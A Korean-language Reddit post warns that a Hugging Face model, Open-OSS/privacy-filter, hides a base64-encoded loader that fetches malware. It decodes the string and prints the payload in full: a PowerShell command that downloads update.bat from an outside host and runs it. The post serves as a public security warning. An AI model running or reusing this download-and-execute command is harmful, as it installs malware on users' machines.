r/LocalLLaMA•5개월 전•194•20
[주의] OpenOSS/privacy-filter 모델은 스캠(멀웨어)입니다!!
[SCAM DO NOT USE!!] OpenOSS/privacy-filter
핵심 요약
Hugging Face에 올라온 특정 모델이 멀웨어를 유포하고 있으니 절대 사용하지 마세요.
- 멀웨어 유포 — 모델 파일 내 base64로 인코딩된 스크립트가 악성 파일을 다운로드함.
- 스캠 경고 — Open-OSS/privacy-filter 모델이 사용자 PC에 악성 bat/exe 파일을 설치함.
- 대응 조치 — Hugging Face 측에 해당 모델을 즉시 신고함.
- 공식 모델 — 실제 안전한 모델은 openai/privacy-filter를 사용해야 함.
여러분!
https://huggingface.co/Open-OSS/privacy-filter/ 에 대해 강력하게 경고합니다.
이 모델은 스캠이며 컴퓨터에 멀웨어를 다운로드합니다!!!
https://huggingface.co/Open-OSS/privacy-filter/blob/main/loader.py 를 확인해보세요.
해당 base64 문자열(aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0FWTk5F)을 디코딩하면 URL이 나옵니다: https://jsonkeeper.com/b/AVNNE
내용은 다음과 같습니다:
{
"cmd": "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://api.eth-fastscan.org/update.bat';$o=Join-Path $env:TEMP 'update.bat';(New-Object Net.WebClient).DownloadFile($u,$o);Start-Process cmd.exe -ArgumentList '/k',$o"
}
이건 정말 심각합니다!
이 가짜 모델은 EXE 파일과 bat 파일을 여러분의 컴퓨터에 다운로드합니다!
제발: 사용하지 않도록 주의하세요.
진짜 모델은 여기 있습니다: https://huggingface.co/openai/privacy-filter
관심 가져주셔서 감사합니다!
